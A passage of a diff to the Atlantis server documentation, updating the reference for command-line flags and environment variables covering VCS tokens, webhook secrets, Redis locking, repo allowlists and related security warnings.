Atlantis won't be able to validate that the + incoming webhook call came from your Azure DevOps org. This means that an + attacker could spoof calls to Atlantis and cause it to perform malicious + actions. Should be specified via the `ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD` environment + variable. + ::: + +### `--azuredevops-webhook-user` + + ```bash + atlantis server --azuredevops-webhook-user="username@example.com" + # or + ATLANTIS_AZUREDEVOPS_WEBHOOK_USER="username@example.com" + ``` + + Azure DevOps basic authentication username for inbound webhooks. + +### `--bitbucket-base-url` + ```bash atlantis server --bitbucket-base-url="http://bitbucket.corp:7990/basepath" + # or + ATLANTIS_BITBUCKET_BASE_URL="http://bitbucket.corp:7990/basepath" ``` + Base URL of Bitbucket Server (aka Stash) installation. Must include `http://` or `https://`. If using Bitbucket Cloud (bitbucket.org), do not set. Defaults to `https://api.bitbucket.org`. -* ### `--bitbucket-token` +### `--bitbucket-token` + ```bash atlantis server --bitbucket-token="token" # or (recommended) - ATLANTIS_BITBUCKET_TOKEN='token' atlantis server + ATLANTIS_BITBUCKET_TOKEN="token" ``` + Bitbucket app password of API user. -* ### `--bitbucket-user` +### `--bitbucket-user` + ```bash atlantis server --bitbucket-user="myuser" + # or + ATLANTIS_BITBUCKET_USER="myuser" ``` + Bitbucket username of API user. -* ### `--bitbucket-webhook-secret` +### `--bitbucket-webhook-secret` + ```bash atlantis server --bitbucket-webhook-secret="secret" # or (recommended) - ATLANTIS_BITBUCKET_WEBHOOK_SECRET='secret' atlantis server + ATLANTIS_BITBUCKET_WEBHOOK_SECRET="secret" ``` - Secret used to validate Bitbucket webhooks. Only Bitbucket Server supports webhook secrets. - For Bitbucket.org, see [Security](security.html#bitbucket-cloud-bitbucket-org) for mitigations. + + Secret used to validate Bitbucket webhooks. ::: warning SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from Bitbucket. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ::: -* ### `--checkout-strategy` +### `--checkout-depth` + + ```bash + atlantis server --checkout-depth=0 + # or + ATLANTIS_CHECKOUT_DEPTH=0 + ``` + + The number of commits to fetch from the branch. Used if `--checkout-strategy=merge` since the `--checkout-strategy=branch` (default) checkout strategy always defaults to a shallow clone using a depth of 1. + Defaults to `0`. See [Checkout Strategy](checkout-strategy.md) for more details. + +### `--checkout-strategy` + ```bash atlantis server --checkout-strategy="" + # or + ATLANTIS_CHECKOUT_STRATEGY="" ``` - How to check out pull requests. - Defaults to `branch`. See [Checkout Strategy](checkout-strategy.html) for more details. -* ### `--config` + How to check out pull requests. Use either `branch` or `merge`. + Defaults to `branch`. See [Checkout Strategy](checkout-strategy.md) for more details. + +### `--config` + ```bash atlantis server --config="my/config/file.yaml" + # or + ATLANTIS_CONFIG="my/config/file.yaml" ``` + YAML config file where flags can also be set. See [Config File](#config-file) for more details. -* ### `--data-dir` +### `--data-dir` + ```bash atlantis server --data-dir="path/to/data/dir" + # or + ATLANTIS_DATA_DIR="path/to/data/dir" ``` + Directory where Atlantis will store its data. Will be created if it doesn't exist. Defaults to `~/.atlantis`. Atlantis will store its database, checked out repos, Terraform plans and downloaded - Terraform binaries here. If Atlantis loses this directory, [locks](locking.html) + Terraform binaries here. If Atlantis loses this directory, [locks](locking.md) will be lost and unapplied plans will be lost. -* ### `--default-tf-version` + Note that the atlantis user is restricted to `~/.atlantis`. + If you set the `--data-dir` flag to a path outside of Atlantis its home directory, ensure that you grant the atlantis user the correct permissions. + +### `--default-tf-distribution` + ```bash - atlantis server --default-tf-version="v0.12.0" + atlantis server --default-tf-distribution="terraform" + # or + ATLANTIS_DEFAULT_TF_DISTRIBUTION="terraform" ``` - Terraform version to default to. Will download to `/bin/terraform` - if not in `PATH`. See [Terraform Versions](terraform-versions.html) for more details. -* ### `--disable-apply` + Which TF distribution to use. Can be set to `terraform` or `opentofu`. + +### `--default-tf-version` + ```bash - atlantis server --disable-apply + atlantis server --default-tf-version="v0.12.31" + # or + ATLANTIS_DEFAULT_TF_VERSION="v0.12.31" ``` - Disable all \"atlantis apply\" commands, regardless of which flags are passed with it. - -* ### `--disable-apply-all` + + Terraform version to default to. Will download to `/bin/terraform` + if not in `PATH`. See [Terraform Versions](terraform-versions.md) for more details. + +### `--disable-apply-all` + ```bash atlantis server --disable-apply-all + # or + ATLANTIS_DISABLE_APPLY_ALL=true ``` - Disable \"atlantis apply\" command so a specific project/workspace/directory has to + + Disable `atlantis apply` command so a specific project/workspace/directory has to be specified for applies. -* ### `--disable-autoplan` +### `--disable-autoplan` + ```bash atlantis server --disable-autoplan + # or + ATLANTIS_DISABLE_AUTOPLAN=true ``` - Disable atlantis auto planning -* ### `--gh-hostname` + Disable atlantis auto planning. + +### `--disable-autoplan-label` + ```bash - atlantis server --gh-hostname="my.github.enterprise.com" + atlantis server --disable-autoplan-label="no-autoplan" + # or + ATLANTIS_DISABLE_AUTOPLAN_LABEL="no-autoplan" ``` - Hostname of your GitHub Enterprise installation. If using [Github.com](https://github.com), - don't set. Defaults to `github.com`. -* ### `--gh-token` + Disable atlantis auto planning only on pull requests with the specified label. + + If `disable-autoplan` property is `true`, this flag has no effect. + +### `--disable-global-apply-lock` + ```bash - atlantis server --gh-token="token" - # or (recommended) - ATLANTIS_GH_TOKEN='token' atlantis server + atlantis server --disable-global-apply-lock + # or + ATLANTIS_DISABLE_GLOBAL_APPLY_LOCK=true ``` - GitHub token of API user. -* ### `--gh-user` + If true, removes button in the UI that allows users to globally disable apply commands. + +### `--disable-markdown-folding` + ```bash - atlantis server --gh-user="myuser" + atlantis server --disable-markdown-folding + # or + ATLANTIS_DISABLE_MARKDOWN_FOLDING=true ``` - GitHub username of API user. -* ### `--gh-webhook-secret` + Disable folding in markdown output using the `
` html tag. + +### `--disable-repo-locking` + ```bash - atlantis server --gh-webhook-secret="secret" - # or (recommended) - ATLANTIS_GH_WEBHOOK_SECRET='secret' atlantis server + atlantis server --disable-repo-locking + # or + ATLANTIS_DISABLE_REPO_LOCKING=true ``` - Secret used to validate GitHub webhooks (see [https://developer.github.com/webhooks/securing/](https://developer.github.com/webhooks/securing/)). - ::: warning SECURITY WARNING - If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitHub. - This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. - ::: + Stops atlantis from locking projects and or workspaces when running terraform. + +### `--disable-unlock-label` -- ### `--gh-org` ```bash - atlantis server --gh-org="myorgname" + atlantis server --disable-unlock-label do-not-unlock + # or + ATLANTIS_DISABLE_UNLOCK_LABEL="do-not-unlock" ``` - GitHub organization name. Set to enable creating a private Github app for this organization. -- ### `--gh-app-id` + Stops atlantis from unlocking a pull request with this label. Defaults to "" (feature disabled). + +### `--discard-approval-on-plan` + ```bash - atlantis server --gh-app-id="00000" + atlantis server --discard-approval-on-plan + # or + ATLANTIS_DISCARD_APPROVAL_ON_PLAN=true ``` - GitHub app ID. If set, GitHub authentication will be performed as [an installation](https://developer.github.com/v3/apps/installations/). - ::: tip - A GitHub app can be created by starting Atlantis first, then pointing your browser at + If set, discard approval if a new plan has been executed. Currently only supported on GitHub and GitLab. For GitLab a bot, group or project token is required for this feature. + Reference: [reset-approvals-of-a-merge-request](https://docs.gitlab.com/api/merge_request_approvals/#reset-approvals-of-a-merge-request) - ``` - $(hostname)/github-app/setup +### `--emoji-reaction` + + ```bash + atlantis server --emoji-reaction eyes + # or + ATLANTIS_EMOJI_REACTION=eyes ``` - You'll be redirected to GitHub to create a new app, and will then be redirected to + The emoji reaction to use for marking processed comments. Currently supported on Azure DevOps, GitHub and GitLab. If not specified, Atlantis will not use an emoji reaction. + Defaults to "" (empty string). - ``` - $(hostname)/github-app/exchange-code?code=some-code - ``` + ::: warning NOTE + Each VCS provider supports a different list of emojis: + +* [Github](https://docs.github.com/en/rest/reactions/reactions?apiVersion=2022-11-28#about-reactions) +* [Gitlab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/fixtures/emojis/digests.json) +* [Azure DevOps](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops#emoji) - After which Atlantis will display your new app's credentials: your app's ID, its generated `--gh-webhook-secret` and the contents of the file for `--gh-app-key-file`. Update your Atlantis config accordingly, and restart the server. ::: -- ### `--gh-app-key-file` - ```bash - atlantis server --gh-app-key-file="path/to/app-key.pem" - ``` - Path to a GitHub App PEM encoded private key file. If set, GitHub authentication will be performed as [an installation](https://developer.github.com/v3/apps/installations/). +### `--enable-diff-markdown-format` -* ### `--gitlab-hostname` ```bash - atlantis server --gitlab-hostname="my.gitlab.enterprise.com" + atlantis server --enable-diff-markdown-format + # or + ATLANTIS_ENABLE_DIFF_MARKDOWN_FORMAT=true ``` - Hostname of your GitLab Enterprise installation. If using [Gitlab.com](https://gitlab.com), - don't set. Defaults to `gitlab.com`. -* ### `--gitlab-token` + Enable Atlantis to format Terraform plan output into a markdown-diff friendly format for color-coding purposes. + + Useful to enable for use with GitHub. + +### `--enable-policy-checks` + ```bash - atlantis server --gitlab-token="token" - # or (recommended) - ATLANTIS_GITLAB_TOKEN='token' atlantis server + atlantis server --enable-policy-checks + # or + ATLANTIS_ENABLE_POLICY_CHECKS=true ``` - GitLab token of API user. -* ### `--gitlab-user` + Enables atlantis to run server side policies on the result of a terraform plan. Policies are defined in [server side repo config](server-side-repo-config.md#reference). + +### `--enable-profiling-api` + ```bash - atlantis server --gitlab-user="myuser" + atlantis server --enable-profiling-api + # or + ATLANTIS_ENABLE_PROFILING_API=true ``` - GitLab username of API user. -* ### `--gitlab-webhook-secret` + Enable [`net/http/pprof`](https://pkg.go.dev/net/http/pprof) endpoints for [continuous profiling](https://grafana.com/docs/pyroscope/latest/introduction/continuous-profiling/) of resources used by the server. See [profiling Go programs](https://go.dev/blog/pprof) for more information. + +### `--enable-regexp-cmd` + ```bash - atlantis server --gitlab-webhook-secret="secret" - # or (recommended) - ATLANTIS_GITLAB_WEBHOOK_SECRET='secret' atlantis server + atlantis server --enable-regexp-cmd + # or + ATLANTIS_ENABLE_REGEXP_CMD=true ``` - Secret used to validate GitLab webhooks. + + Enable Atlantis to use regular expressions to run plan/apply commands against defined project names when `-p` flag is passed with it. + + This can be used to run all defined projects (with the `name` key) in `atlantis.yaml` using `atlantis plan -p .*`. + + The flag will only allow the regexes listed in the [`allowed_regexp_prefixes`](repo-level-atlantis-yaml.md#reference) key defined in the repo `atlantis.yaml` file. If the key is undefined, its value defaults to `[]` which will allow any regex. + + This will not work with `-d` yet and to use `-p` the repo projects must be defined in the repo `atlantis.yaml` file. + + This will bypass `--restrict-file-list` if regex is used, normal commands will still be blocked if necessary. ::: warning SECURITY WARNING - If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitLab. - This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. + It's not supposed to be used with `--disable-apply-all`. + The command `atlantis apply -p .*` will bypass the restriction and run apply on every projects. ::: -* ### `--help` - ```bash - atlantis server --help - ``` - View help. +### `--executable-name` -* ### `--hide-prev-plan-comments` ```bash - atlantis server --hide-prev-plan-comments + atlantis server --executable-name="atlantis" + # or + ATLANTIS_EXECUTABLE_NAME="atlantis" ``` - Hide previous plan comments to declutter PRs. This is only supported in - GitHub currently. -* ### `--log-level` - ```bash - atlantis server --log-level="" - ``` - Log level. Defaults to `info`. + Comment command trigger executable name. Defaults to `atlantis`. + + This is useful when running multiple Atlantis servers against a single repository. + +### `--fail-on-pre-workflow-hook-error` -* ### `--parallel-pool-size` ```bash - atlantis server --parallel-pool-size=100 + atlantis server --fail-on-pre-workflow-hook-error + # or + ATLANTIS_FAIL_ON_PRE_WORKFLOW_HOOK_ERROR=true ``` - Max size of the wait group that runs parallel plans and applies (if enabled). Defaults to `15` -* ### `--port` + Fail and do not run the requested Atlantis command if any of the pre workflow hooks error. + +### `--gh-allow-mergeable-bypass-apply` + ```bash - atlantis server --port=8080 + atlantis server --gh-allow-mergeable-bypass-apply + # or + ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true ``` + + Feature flag to enable ability to use `mergeable` mode with required apply status check. + +### `--gh-app-id` + + ```bash + atlantis server --gh-app-id="00000" + # or + ATLANTIS_GH_APP_ID="00000" + ``` + + GitHub app ID. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations). + + ::: tip + A GitHub app can be created by starting Atlantis first, then pointing your browser at + + ```shell + $(hostname)/github-app/setup + ``` + + You'll be redirected to GitHub to create a new app, and will then be redirected to + + ```shell + $(hostname)/github-app/exchange-code?code=some-code + ``` + + After which Atlantis will display your new app's credentials: your app's ID, its generated `--gh-webhook-secret` and the contents of the file for `--gh-app-key-file`. Update your Atlantis config accordingly, and restart the server. + ::: + +### `--gh-app-installation-id` + + ```bash + atlantis server --gh-app-installation-id="123" + # or + ATLANTIS_GH_APP_INSTALLATION_ID="123" + ``` + +The installation ID of a specific instance of a GitHub application. Normally this value is +derived by querying GitHub for the list of installations of the ID supplied via `--gh-app-id` and selecting +the first one found and where multiple installations results in an error. Use this flag if you have multiple +instances of Atlantis but you want to use a single already-installed GitHub app for all of them. You would normally do this if +you are running a proxy as your single GitHub application that will proxy to an appropriate Atlantis instance +based on the organization or user that triggered the webhook. + +### `--gh-app-key` + + ```bash + atlantis server --gh-app-key="-----BEGIN RSA PRIVATE KEY-----(...)" + # or + ATLANTIS_GH_APP_KEY="-----BEGIN RSA PRIVATE KEY-----(...)" + ``` + + The PEM encoded private key for the GitHub App. + + ::: warning SECURITY WARNING + The contents of the private key will be visible by anyone that can run `ps` or look at the shell history of the machine where Atlantis is running. Use `--gh-app-key-file` to mitigate that risk. + ::: + +### `--gh-app-key-file` + + ```bash + atlantis server --gh-app-key-file="path/to/app-key.pem" + # or + ATLANTIS_GH_APP_KEY_FILE="path/to/app-key.pem" + ``` + + Path to a GitHub App PEM encoded private key file. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations). + +### `--gh-app-slug` + + ```bash + atlantis server --gh-app-slug="myappslug" + # or + ATLANTIS_GH_APP_SLUG="myappslug" + ``` + + A slugged version of GitHub app name shown in pull requests comments, etc (not `Atlantis App` but something like `atlantis-app`). Atlantis uses the value of this parameter to identify the comments it has left on GitHub pull requests. This is used for functions such as `--hide-prev-plan-comments`. You need to obtain this value from your GitHub app, one way is to go to your App settings and open "Public page" from the left sidebar. Your `--gh-app-slug` value will be the last part of the URL, e.g `https://github.com/apps/`. + +### `--gh-hostname` + + ```bash + atlantis server --gh-hostname="my.github.enterprise.com" + # or + ATLANTIS_GH_HOSTNAME="my.github.enterprise.com" + ``` + + Hostname of your GitHub Enterprise installation. If using [GitHub.com](https://github.com), + don't set. Defaults to `github.com`. + +### `--gh-org` + + ```bash + atlantis server --gh-org="myorgname" + # or + ATLANTIS_GH_ORG="myorgname" + ``` + + GitHub organization name. Set to enable creating a private GitHub app for this organization. + +### `--gh-team-allowlist` + + ```bash + atlantis server --gh-team-allowlist="myteam:plan, secteam:apply, devops-team:apply, devops-team:import" + # or + ATLANTIS_GH_TEAM_ALLOWLIST="myteam:plan, secteam:apply, devops-team:apply, devops-team:import" + ``` + + In versions v0.35.0 and later, the GitHub team name can only be a slug because it is immutable. + + In versions between v0.21.0 and v0.34.0, the GitHub team name can be a name or a slug. + + In versions v0.20.1 and below, the Github team name required the case sensitive team name. + + Comma-separated list of GitHub teams and permission pairs. + + By default, any team can plan and apply. + +### `--gh-token` + + ```bash + atlantis server --gh-token="token" + # or (recommended) + ATLANTIS_GH_TOKEN="token" + ``` + + GitHub token of API user. + +### `--gh-token-file` + + ```bash + atlantis server --gh-token-file="/path/to/token" + # or + ATLANTIS_GH_TOKEN_FILE="/path/to/token" + ``` + + GitHub token of API user. The token is loaded from disk regularly to allow for rotation of the token without the need to restart the Atlantis server. + +### `--gh-user` + + ```bash + atlantis server --gh-user="myuser" + # or + ATLANTIS_GH_USER="myuser" + ``` + + GitHub username of API user. This user is also used by the flag `--hide-user-plan-comments` and will need to be updated if migrating to github EMU. + +### `--gh-webhook-secret` + + ```bash + atlantis server --gh-webhook-secret="secret" + # or (recommended) + ATLANTIS_GH_WEBHOOK_SECRET="secret" + ``` + + Secret used to validate GitHub webhooks (see [GitHub: Validating webhook deliveries](https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries)). + + ::: warning SECURITY WARNING + If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitHub. + This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. + ::: + +### `--gitea-base-url` + + ```bash + atlantis server --gitea-base-url="http://your-gitea.corp:7990/basepath" + # or + ATLANTIS_GITEA_BASE_URL="http://your-gitea.corp:7990/basepath" + ``` + + Base URL of Gitea installation. Must include `http://` or `https://`. Defaults to `https://gitea.com` if left empty/absent. + +### `--gitea-page-size` + + ```bash + atlantis server --gitea-page-size=30 + # or (recommended) + ATLANTIS_GITEA_PAGE_SIZE=30 + ``` + + Number of items on a single page in Gitea paged responses. + + ::: warning Configuration dependent + The default value conforms to the Gitea server's standard config setting: DEFAULT_PAGING_NUM + The highest valid value depends on the Gitea server's config setting: MAX_RESPONSE_ITEMS + ::: + +### `--gitea-token` + + ```bash + atlantis server --gitea-token="token" + # or (recommended) + ATLANTIS_GITEA_TOKEN="token" + ``` + + Gitea app password of API user. + +### `--gitea-user` + + ```bash + atlantis server --gitea-user="myuser" + # or + ATLANTIS_GITEA_USER="myuser" + ``` + + Gitea username of API user. + +### `--gitea-webhook-secret` + + ```bash + atlantis server --gitea-webhook-secret="secret" + # or (recommended) + ATLANTIS_GITEA_WEBHOOK_SECRET="secret" + ``` + + Secret used to validate Gitea webhooks. + + ::: warning SECURITY WARNING + If not specified, Atlantis won't be able to validate that the incoming webhook call came from Gitea. + This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. + ::: + +### `--gitlab-group-allowlist` + + ```bash + atlantis server --gitlab-group-allowlist="myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import" + # or + ATLANTIS_GITLAB_GROUP_ALLOWLIST="myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import" + ``` + + Comma-separated list of GitLab groups and permission pairs. + + By default, any group can plan and apply. + + ::: warning NOTE + Atlantis needs to be able to view the listed group members, inaccessible or non-existent groups are silently ignored. + +### `--gitlab-hostname` + + ```bash + atlantis server --gitlab-hostname="my.gitlab.enterprise.com" + # or + ATLANTIS_GITLAB_HOSTNAME="my.gitlab.enterprise.com" + ``` + + Hostname of your GitLab Enterprise installation. If using [Gitlab.com](https://gitlab.com), + don't set. Defaults to `gitlab.com`. + +### `--gitlab-token` + + ```bash + atlantis server --gitlab-token="token" + # or (recommended) + ATLANTIS_GITLAB_TOKEN="token" + ``` + + GitLab token of API user. + +### `--gitlab-user` + + ```bash + atlantis server --gitlab-user="myuser" + # or + ATLANTIS_GITLAB_USER="myuser" + ``` + + GitLab username of API user. + +### `--gitlab-webhook-secret` + + ```bash + atlantis server --gitlab-webhook-secret="secret" + # or (recommended) + ATLANTIS_GITLAB_WEBHOOK_SECRET="secret" + ``` + + Secret used to validate GitLab webhooks. + + ::: warning SECURITY WARNING + If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitLab. + This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. + ::: + +### `--help` + + ```bash + atlantis server --help + ``` + + View help. + +### `--hide-prev-plan-comments` + + ```bash + atlantis server --hide-prev-plan-comments + # or + ATLANTIS_HIDE_PREV_PLAN_COMMENTS=true + ``` + + Hide previous plan comments to declutter PRs. This is only supported in + GitHub and GitLab and Bitbucket currently and is not enabled by default. + + For Bitbucket, the comments are deleted rather than hidden as Bitbucket does not support hiding comments. + + For GitHub, ensure the `--gh-user` is set appropriately or comments will not be hidden. + + When using the GitHub App, you need to set `--gh-app-slug` to enable this feature. + +### `--hide-unchanged-plan-comments` + + ```bash + atlantis server --hide-unchanged-plan-comments + # or + ATLANTIS_HIDE_UNCHANGED_PLAN_COMMENTS=true + ``` + +Remove no-changes plan comments from the pull request. + +This is useful when you have many projects and want to keep the pull request clean from useless comments. + +### `--ignore-vcs-status-names` + + ```bash + atlantis server --ignore-vcs-status-names="status1,status2" + # or + ATLANTIS_IGNORE_VCS_STATUS_NAMES=status1,status2 + ``` + + Comma separated list of VCS status names from other atlantis services. + When `gh-allow-mergeable-bypass-apply` is true, will ignore status checks + (e.g. `status1/plan`, `status1/apply`, `status2/plan`, `status2/apply`) + from other Atlantis services when checking if the PR is mergeable. + Currently only implemented for GitHub. + +### `--include-git-untracked-files` + + ```bash + atlantis server --include-git-untracked-files + # or + ATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true + ``` + + Include git untracked files in the Atlantis modified file list. + Used for example with CDKTF pre-workflow hooks that dynamically generate + Terraform files. + +### `--locking-db-type` + + ```bash + atlantis server --locking-db-type="" + # or + ATLANTIS_LOCKING_DB_TYPE="" + ``` + + The locking database type to use for storing plan and apply locks. Defaults to `boltdb`. + + Notes: + +* If set to `boltdb`, only one process may have access to the boltdb instance. +* If set to `redis`, then `--redis-host`, `--redis-port`, and `--redis-password` must be set. + +### `--log-level` + + ```bash + atlantis server --log-level="" + # or + ATLANTIS_LOG_LEVEL="" + ``` + + Log level. Defaults to `info`. + +### `--markdown-template-overrides-dir` + + ```bash + atlantis server --markdown-template-overrides-dir="path/to/templates/" + # or + ATLANTIS_MARKDOWN_TEMPLATE_OVERRIDES_DIR="path/to/templates/" + ``` + + This will be available in v0.21.0. + + Directory where Atlantis will read in overrides for markdown templates used to render comments on pull requests. + Markdown template overrides may be specified either in individual files, or all together in a single file. All template + override files *must* have the `.tmpl` extension, otherwise they will not be parsed. + + Markdown templates which may have overrides can be found [here](https://github.com/runatlantis/atlantis/tree/main/server/events/templates) + + Please be mindful that settings like `--enable-diff-markdown-format` depend on logic defined in the templates. It is + possible to diverge from expected behavior, if care is not taken when overriding default templates. + + Defaults to the atlantis home directory `/home/atlantis/.markdown_templates/` in `/$HOME/.markdown_templates`. + +### `--max-comments-per-command` + + ```bash + atlantis server --max-comments-per-command=100 + # or + ATLANTIS_MAX_COMMENTS_PER_COMMAND=100 + ``` + + Limit the number of comments published after a command is executed, to prevent spamming your VCS and Atlantis to get throttled as a result. Defaults to `100`. Set this option to `0` to disable log truncation. Note that the truncation will happen on the top of the command output, to preserve the most important parts of the output, often displayed at the end. + +### `--parallel-apply` + + ```bash + atlantis server --parallel-apply + # or + ATLANTIS_PARALLEL_APPLY=true + ``` + + Whether to run apply operations in parallel. Defaults to `false`. Explicit declaration in [repo config](repo-level-atlantis-yaml.md#run-plans-and-applies-in-parallel) takes precedence. + +### `--parallel-plan` + + ```bash + atlantis server --parallel-plan + # or + ATLANTIS_PARALLEL_PLAN=true + ``` + + Whether to run plan operations in parallel. Defaults to `false`. Explicit declaration in [repo config](repo-level-atlantis-yaml.md#run-plans-and-applies-in-parallel) takes precedence. + +### `--parallel-pool-size` + + ```bash + atlantis server --parallel-pool-size=100 + # or + ATLANTIS_PARALLEL_POOL_SIZE=100 + ``` + + Max size of the wait group that runs parallel plans and applies (if enabled). Defaults to `15` + +### `--port` + + ```bash + atlantis server --port=4141 + # or + ATLANTIS_PORT=4141 + ``` + Port to bind to. Defaults to `4141`. -* ### `--repo-config` +### `--quiet-policy-checks` + + ```bash + atlantis server --quiet-policy-checks + # or + ATLANTIS_QUIET_POLICY_CHECKS=true + ``` + + Exclude policy check comments from pull requests unless there's an actual error from conftest. This also excludes warnings. Defaults to `false`. + +### `--redis-db` + + ```bash + atlantis server --redis-db=0 + # or + ATLANTIS_REDIS_DB=0 + ``` + + The Redis Database to use when using a Locking DB type of `redis`. Defaults to `0`. + +### `--redis-host` + + ```bash + atlantis server --redis-host="localhost" + # or + ATLANTIS_REDIS_HOST="localhost" + ``` + + The Redis Hostname for when using a Locking DB type of `redis`. + +### `--redis-insecure-skip-verify` + + ```bash + atlantis server --redis-insecure-skip-verify=false + # or + ATLANTIS_REDIS_INSECURE_SKIP_VERIFY=false + ``` + + Controls whether the Redis client verifies the Redis server's certificate chain and host name. If true, accepts any certificate presented by the server and any host name in that certificate. Defaults to `false`. + + ::: warning SECURITY WARNING + If this is enabled, TLS is susceptible to machine-in-the-middle attacks unless custom verification is used. + ::: + +### `--redis-password` + + ```bash + atlantis server --redis-password="password123" + # or (recommended) + ATLANTIS_REDIS_PASSWORD="password123" + ``` + + The Redis Password for when using a Locking DB type of `redis`. + +### `--redis-port` + + ```bash + atlantis server --redis-port=6379 + # or + ATLANTIS_REDIS_PORT=6379 + ``` + + The Redis Port for when using a Locking DB type of `redis`. Defaults to `6379`. + +### `--redis-tls-enabled` + + ```bash + atlantis server --redis-tls-enabled=false + # or + ATLANTIS_REDIS_TLS_ENABLED=false + ``` + + Enables a TLS connection, with min version of 1.2, to Redis when using a Locking DB type of `redis`. Defaults to `false`. + +### `--repo-allowlist` + + ```bash + # NOTE: Use single quotes to avoid shell expansion of *. + atlantis server --repo-allowlist='github.com/myorg/*' + # or + ATLANTIS_REPO_ALLOWLIST='github.com/myorg/*' + ``` + + Atlantis requires you to specify an allowlist of repositories it will accept webhooks from. + + Notes: + +* Accepts a comma separated list, ex. `definition1,definition2` +* Format is `{hostname}/{owner}/{repo}`, ex. `github.com/runatlantis/atlantis` +* `*` matches any characters, ex. `github.com/runatlantis/*` will match all repos in the runatlantis organization +* An entry beginning with `!` negates it, ex. `github.com/foo/*,!github.com/foo/bar` will match all github repos in the `foo` owner *except* `bar`. +* For Bitbucket Server: `{hostname}` is the domain without scheme and port, `{owner}` is the name of the project (not the key), and `{repo}` is the repo name + * User (not project) repositories take on the format: `{hostname}/{full name}/{repo}` (e.g., `bitbucket.example.com/Jane Doe/myatlantis` for username `jdoe` and full name `Jane Doe`, which is not very intuitive) +* For Azure DevOps the allowlist takes one of two forms: `{owner}.visualstudio.com/{project}/{repo}` or `dev.azure.com/{owner}/{project}/{repo}` +* Microsoft is in the process of changing Azure DevOps to the latter form, so it may be safest to always specify both formats in your repo allowlist for each repository until the change is complete. + + Examples: + +* Allowlist `myorg/repo1` and `myorg/repo2` on `github.com` + * `--repo-allowlist=github.com/myorg/repo1,github.com/myorg/repo2` +* Allowlist all repos under `myorg` on `github.com` + * `--repo-allowlist='github.com/myorg/*'` +* Allowlist all repos under `myorg` on `github.com`, excluding `myorg/untrusted-repo` + * `--repo-allowlist='github.com/myorg/*,!github.com/myorg/untrusted-repo'` +* Allowlist all repos in my GitHub Enterprise installation + * `--repo-allowlist='github.yourcompany.com/*'` +* Allowlist all repos under `myorg` project `myproject` on Azure DevOps + * `--repo-allowlist='myorg.visualstudio.com/myproject/*,dev.azure.com/myorg/myproject/*'` +* Allowlist all repositories + * `--repo-allowlist='*'` + +### `--repo-config` + ```bash atlantis server --repo-config="path/to/repos.yaml" + # or + ATLANTIS_REPO_CONFIG="path/to/repos.yaml" ``` - Path to a YAML server-side repo config file. See [Server Side Repo Config](server-side-repo-config.html). -* ### `--repo-config-json` + Path to a YAML server-side repo config file. See [Server Side Repo Config](server-side-repo-config.md). + +### `--repo-config-json` + ```bash atlantis server --repo-config-json='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}' + # or + ATLANTIS_REPO_CONFIG_JSON='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}' ``` + Specify server-side repo config as a JSON string. Useful if you don't want to write a config file to disk. - See [Server Side Repo Config](server-side-repo-config.html) for more details. + See [Server Side Repo Config](server-side-repo-config.md) for more details. ::: tip - If specifying a [Workflow](custom-workflows.html#reference), [step](custom-workflows.html#step)'s + If specifying a [Workflow](custom-workflows.md#reference), [step](custom-workflows.md#step)'s can be specified as follows: + ```json { "repos": [], @@ -391,158 +1208,316 @@ Values are chosen in this order: } } ``` + ::: -* ### `--repo-whitelist` - - Deprecated for `--repo-allowlist`. -* ### `--repo-allowlist` +### `--restrict-file-list` + ```bash - # NOTE: Use single quotes to avoid shell expansion of *. - atlantis server --repo-allowlist='github.com/myorg/*' + atlantis server --restrict-file-list + # or (recommended) + ATLANTIS_RESTRICT_FILE_LIST=true ``` - Atlantis requires you to specify an allowlist of repositories it will accept webhooks from. - Notes: - * Accepts a comma separated list, ex. `definition1,definition2` - * Format is `{hostname}/{owner}/{repo}`, ex. `github.com/runatlantis/atlantis` - * `*` matches any characters, ex. `github.com/runatlantis/*` will match all repos in the runatlantis organization - * For Bitbucket Server: `{hostname}` is the domain without scheme and port, `{owner}` is the name of the project (not the key), and `{repo}` is the repo name - * User (not project) repositories take on the format: `{hostname}/{full name}/{repo}` (e.g., `bitbucket.example.com/Jane Doe/myatlantis` for username `jdoe` and full name `Jane Doe`, which is not very intuitive) - * For Azure DevOps the allowlist takes one of two forms: `{owner}.visualstudio.com/{project}/{repo}` or `dev.azure.com/{owner}/{project}/{repo}` - * Microsoft is in the process of changing Azure DevOps to the latter form, so it may be safest to always specify both formats in your repo allowlist for each repository until the change is complete. + `--restrict-file-list` will block plan requests from projects outside the files modified in the pull request. + This will not block plan requests with regex if using the `--enable-regexp-cmd` flag, in these cases commands + like `atlantis plan -p .*` will still work if used. normal commands will still be blocked if necessary. + Defaults to `false`. + +### `--silence-allowlist-errors` - Examples: - * Allowlist `myorg/repo1` and `myorg/repo2` on `github.com` - * `--repo-allowlist=github.com/myorg/repo1,github.com/myorg/repo2` - * Allowlist all repos under `myorg` on `github.com` - * `--repo-allowlist='github.com/myorg/*'` - * Allowlist all repos in my GitHub Enterprise installation - * `--repo-allowlist='github.yourcompany.com/*'` - * Allowlist all repos under `myorg` project `myproject` on Azure DevOps - * `--repo-allowlist='myorg.visualstudio.com/myproject/*,dev.azure.com/myorg/myproject/*'` - * Allowlist all repositories - * `--repo-allowlist='*'` - -* ### `--require-approval` - ```bash - 